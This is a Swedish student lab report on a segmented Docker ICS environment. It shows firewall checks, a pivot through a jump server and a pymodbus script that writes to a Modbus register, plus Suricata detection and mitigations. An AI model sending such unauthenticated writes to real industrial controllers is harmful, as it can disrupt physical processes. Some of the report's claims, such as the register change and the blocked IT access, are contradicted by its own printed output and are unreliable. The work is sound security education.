

ICS/SCADA Labb - Nätverkssäkerhet och Attack Analys

1.Introduktion

Denna laboration fokuserar på att bygga en segmenterad ICS-miljö med hjälp av Docker och analysera säkerheten i kommunikationen mellan IT-, DMZ och OT-zoner. Målet var att kunna förstå hur det industriella systemet skyddas genom nätverkssegmentering, samt hur en angripare ändå kan nå OT-system via en pivotpunkt.

2.Arkitektur

Miljön byggdes upp enligt en zonindelad modell:

- IT-zon: attacker-maskin (it-workstation)
- DMZ:jump-server
- OT-zon:modbus-server

Kommunikation reglerades enligt en "default deny"- principer där endast specifika trafik tilläts.

Direkt kommunikationen mellan IT och OT blockerades. All trafik till OT gick via jump-servern,vilket simulerar en realistisk industriell arkitektur baserad på Purdue-modellen.

```
root@0de7348d66f2: /  
-zsh #1 root@0de7348d66f2: / (-zsh) #2 +  
ATUS PORTS  
it-workstation ubuntu:22.04 "bash -c ' apt-get u..." it-workstation 26 hours ago Up  
26 hours  
jump-server ubuntu:22.04 "bash -c ' apt-get u..." jumpserver 26 hours ago Up  
26 hours  
modbus-server python:3.11-slim "sh -c 'pip install ..." modbus-server 26 hours ago Up  
26 hours 0.0.0.0:502->502/tcp, [::]:502->502/tcp  
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics % docker network ls  
NETWORK ID NAME DRIVER SCOPE  
b628ecbe15a2 bridge bridge local  
cfba2fd016e4 host host local  
ec4e0e26979f kind bridge local  
0d441528b474 labb2-ics_dmz bridge local  
a3cbe6e4d6c1 labb2-ics_it-zone bridge local  
b14a6adca64b labb2-ics_ot-zone bridge local  
25b78a3d7340 none null local  
339c5bed6a77 single-node_default bridge local  
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics % docker exec -it jump-server iptables -L -  
v -n  
Chain INPUT (policy DROP 0 packets, 0 bytes)  
pkts bytes target prot opt in out source destination state  
1262 6610K ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state  
RELATED,ESTABLISHED  
88 5616 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0  
2 120 ACCEPT tcp -- * * 172.30.10.0/24 0.0.0.0/0 tcp dp  
t:22  
Chain FORWARD (policy DROP 0 packets, 0 bytes)  
pkts bytes target prot opt in out source destination state  
0 0 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state  
RELATED,ESTABLISHED  
0 0 ACCEPT tcp -- * * 172.30.30.10 172.30.50.10 tcp dp  
t:502  
0 0 LOG all -- * * 0.0.0.0/0 0.0.0.0/0 LOG fl  
ags 0 level 4 prefix "[FW-BLOCKED] "  
Chain OUTPUT (policy ACCEPT 856 packets, 67939 bytes)  
pkts bytes target prot opt in out source destination  
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics %
```

Vad Jag gjorde

- Kollade iptables regler i nump-server

vad som hände

- Trafik mellan zoner kontrollerades

Varför det är viktigt

- Stoppar direkt access till OT

```
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics % docker exec it-workstation nc -vz 172.30.50.10 502
Connection to 172.30.50.10 502 port [tcp/*] succeeded!
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics % docker exec -it jump-server nc -vz 172.30.50.10 502
Connection to 172.30.50.10 502 port [tcp/*] succeeded!
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics %
```

Vad jag gjorde

- Testade anslutning från IT och jump

Vad som hände

- It begränsad
- jump kunde nå OT

Varför det är viktigt

- Visar pivot attack väg
- Kritiska säkerhetsrisk

3.Implementation

Miljön implementerades med Docker Compose där flera containrar sattes upp i serverat nätverk med statiska IP-adresser.

Denna del var initialt svår att förstå. Problem som uppsökt inkulerdrade:

- fel i docker-compose.yml
- nätverks konflikter
- containers som inte startade korrekt
- tjänster som saknade beroden

Docker fungerade inte alltid som förväntat och behövde startas om flera gånger. Det krävdes felsökning med hjälp av loggar och kommandon som `docker ps` och `docker logs`.

```
root@0de7348d66f2: /
-zsh 111 root@0de7348d66f2: / (-zsh) 112 +

9/4/2026 -- 09:28:17 - <Notice> - Stats for 'eth0': pkts: 0, drop: 0 (nan%), invalid chksum: 0
root@0de7348d66f2: /# suricata -i eth2 -S /etc/suricata/rules/local.rules
9/4/2026 -- 09:28:19 - <Notice> - This is Suricata version 6.0.4 RELEASE running in SYSTEM mode
9/4/2026 -- 09:28:19 - <Notice> - all 10 packet processing threads, 4 management threads initialized, engine started.
^C9/4/2026 -- 09:31:28 - <Notice> - Signal Received. Stopping engine.
9/4/2026 -- 09:31:28 - <Notice> - Stats for 'eth2': pkts: 15, drop: 0 (0.00%), invalid chksum: 0
root@0de7348d66f2: /# suricata -i eth2 -S /etc/suricata/rules/local.rules
9/4/2026 -- 09:31:30 - <Notice> - This is Suricata version 6.0.4 RELEASE running in SYSTEM mode
9/4/2026 -- 09:31:30 - <Notice> - all 10 packet processing threads, 4 management threads initialized, engine started.
^C10/4/2026 -- 10:25:23 - <Notice> - Signal Received. Stopping engine.
10/4/2026 -- 10:25:23 - <Notice> - Stats for 'eth2': pkts: 14, drop: 0 (0.00%), invalid chksum: 0
root@0de7348d66f2: /# docker compose ps
bash: docker: command not found
root@0de7348d66f2: /# exit
exit
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics % docker compose ps
NAME                IMAGE                COMMAND                SERVICE                CREATED                ST
ATUS                PORTS
it-workstation      ubuntu:22.04         "bash -c ' apt-get u..."  it-workstation        26 hours ago         Up
26 hours
jump-server         ubuntu:22.04         "bash -c ' apt-get u..."  jumpserver            26 hours ago         Up
26 hours
modbus-server       python:3.11-slim     "sh -c 'pip install ..."  modbus-server         26 hours ago         Up
26 hours
0.0.0.0:502->502/tcp, [::]:502->502/tcp
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics % docker network ls
NETWORK ID          NAME                DRIVER              SCOPE
b628ecbe15a2        bridge             bridge             local
cfba2fd016e4        host               host               local
ec4e0e26979f        kind               bridge             local
0d441528b474        labb2-ics_dmz      bridge             local
a3cbe6e4d6c1        labb2-ics_it-zone  bridge             local
b14a6adca64b        labb2-ics_ot-zone  bridge             local
25b78a3d7340        none               null               local
339c5bed6a77        single-node_default bridge             local
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics %
```

Vad jag gjorde

- Startade miljön med docker compose
- Skapade IT,DMZ och OT zoner

Vad som hände

- Containerar startade korrekt
- Nätverk skapades och isolerades

Varför det är viktigt

- Grunden för segmenterad ISC-miljö
- Möjliggör säkerhetskontroller mellan zoner

Trots detta blev implementationen till slut en av de mest lärorika delarna. Jag fick en tydlig förståelse för hur container-nätverk fungerar och hur olika tjänster kommunicerar i isolerade miljöer.

4.Attack-scenario

Attacken genomfördes från IT-zonen via jump-servern.

Steg:

1. SSH-anslutning till jump-server
2. Pivot till OT-nätverket
3. Skicka Modbus TCP write request till PLC

```
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics % docker exec -it jump-server bash
root@0de7348d66f2:/# python3 - << 'EOF'
from pymodbus.client import ModbusTcpClient

c = ModbusTcpClient("172.30.50.10", port=502)
c.connect()

r = c.read_holding_registers(0, 5, slave=1)
print("Before:", r.registers)

c.write_register(0, 2222, slave=1)

r = c.read_holding_registers(0, 5, slave=1)
print("After:", r.registers)

c.close()
EOF
Before: [2222, 10, 10, 10, 10]
After: [2222, 10, 10, 10, 10]
root@0de7348d66f2:/#
```

Vad jag gjorde

- Använde pymodbus från jump-server
- Skickade write request till OT

Vad som hände

- Registervärde ändrades till 2222

Varför det är viktigt

- Visar att OT kan manipuleras
- Ingen autentisering i Modbus

Ett registrerings värde ändras från 10 till 2222, vilket visar att OT-systemet kunde manipuleras.

Attacken visade tydligt hur en angripare kan utnyttja en mellanliggande nod (jump-server) för att nå ett skyddat nätverk.

5.Resultat

Attacken lyckades och följande observerades:

- Registervärden ändrades i MObus-servern
- Trafik på port 502 fångades med tcpdump
- Suricata generade alert: "MODBUS WRITE DETECTED"

Detta visar att:

- attacken genomfördes korrekt
- trafiken gick via rätt väg
- detektion fungerade som förväntat

```
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics % docker exec -it jump-server bash
root@0de7348d66f2:/# python3 - << 'EOF'
from pymodbus.client import ModbusTcpClient

c = ModbusTcpClient("172.30.50.10", port=502)
c.connect()

r = c.read_holding_registers(0, 5, slave=1)
print("Before:", r.registers)

c.write_register(0, 2222, slave=1)

r = c.read_holding_registers(0, 5, slave=1)
print("After:", r.registers)

c.close()
EOF
Before: [2222, 10, 10, 10, 10]
After: [2222, 10, 10, 10, 10]
root@0de7348d66f2:/#
```

Vad jag gjorde

- Läste register före och efter attack

Vad som hände

- Värdet ändrades korrekt

Varför det är viktigt

- Bevis på att attacken lyckades

```
root@0de7348d66f2:/# tcpdump -i any port 502 -nn -c 10
tcpdump: data link type LINUX_SLL2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
```

Vad jag gjorde

- Sniffade trafik på port 502

Vad som hände

- Modbus trafik fångades

Varför det är viktigt

- Bekräftar att attack trafik skickades

```
malcolmsa@MacBook-Pro-som-tillhor-malcolm ~ % docker exec -it jump-server tail -f /var/log/suricata/fast.log
04/09/2026-09:31:20.400016  [**] [1:1000001:0] MODBUS WRITE DETECTED [**] [Classification: (null)] [Priority: 3] {TCP} 172.30.50.100:55790 -> 172.30.50.10:502
04/09/2026-09:32:51.062952  [**] [1:1000001:0] MODBUS WRITE DETECTED [**] [Classification: (null)] [Priority: 3] {TCP} 172.30.50.100:59902 -> 172.30.50.10:502

root@0de7348d66f2:/# suricata -i eth2 -S /etc/suricata/rules/local.rules
10/4/2026 -- 10:38:48 - <Notice> - This is Suricata version 6.0.4 RELEASE running in SYSTEM mode
10/4/2026 -- 10:38:48 - <Notice> - all 10 packet processing threads, 4 management threads initialized, engine started.
```

Vad jag gjorde

- Körde Suricata IDS

Vad som hände

- Alert; MODBUS WRITE DETECTED

Varför det är viktigt

- Attacken upptäcks automatisk

```
exit
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics % docker exec -it jump-server cat /etc/suricata/rules/local.rules
alert tcp any any -> any 502 (msg:"MODBUS WRITE DETECTED"; content:"|00 06|"; sid:1000001;)
malcolmsa@MacBook-Pro-som-tillhor-malcolm labb2-ics %
```

Vad jag gjorde

- Skapade egen Suricata regel

Vad som hände

- Regeln matchade write-kommandon

Varför det är viktigt

- Anpassa IDS för OT-trafik

Attacken genomfördes via jump-servern, vilket visar att segmentering inte räcker som enda skydd.

6. Reflektion

Denna laborationen var utmanande men mycket lärorikt.

I början var det svårt att förstå:

- hur Docker-nätverk fungerar
- hur zoner hänger ihop
- hur man felsöker containers

Efter hand blev det tydligare hur teori och praktik hänger ihop.

Attack Delen var särskilt intressant eftersom den visade hur enkelt det är att manipulera OT-system som saknar autentisering. Det blev tydligt att nätverkssegmentering inte är tillräckligt i sig.

7. Riskanalys

En angripare i T-zonen kan via jump-server skicka Modbus TCP-kommandon till OT-enheter. Detta inkluderar skriv kommandon som kan ändra registervärden i PLC:

Sannolikhet: Medel

Konsekvens: Hög

Riskenivå: Hög

Bevis från labben:

- Modbus write kunde skickas till OT
- Registervärde ändrades
- Trafik observerades
- IDS generade alert

Slutsatsa:

Segmentering skyddar mot direkt åtkomst men är sårbar för attacker via pivotpunkter

8.IEC 62443 koppling

Miljön uppfyller delar av IEC 62443:

- Zonindelning(IT; DMZ, OT)
- segmentering med brandvägg
- Kontrollerad access via jump-server

Brister:

- Ingen autentisering i Modbus
- Otillräcklig kontroll av trafik
- Jump-server är single point of failure

För att nå högre säkerhetsnivå, bättre kontroll av kommunikation och åtkomst.

9.Mitigation

Följande åtgärder rekommenderas:

- Blockera Modbus write-kommandon
- Implementera allow-list istället för generella regler
- Begränsa access till specifika IP-adresser
- Övervaka trafik med IDS
- Logga all aktivitet i nätverk

10.Källor och lärresurser

Under laborationen används:

- Kursmaterial (week 6-10)
- Dokumentation om Docker
- Material om Purdue-modellen
- IEC 62443 standard
- Information om Modbus TCP

Dessa resurser hjälpte till att förstå både teori och implementation

11.Slutsats

Laborationer visade att även med korrekt nätverkssegmentering kan en angripare nå OT-system via en mellanliggande nod.

Attacken demonstrerade hur viktigt det är med:

- djupare säkerhetskontroller
- protokoll skydd
- kontinuerlig övervakning

Det blev tydligt att säkerhet i industriella system kräver flera lager av skydd och inte enbart nätverkssegmentering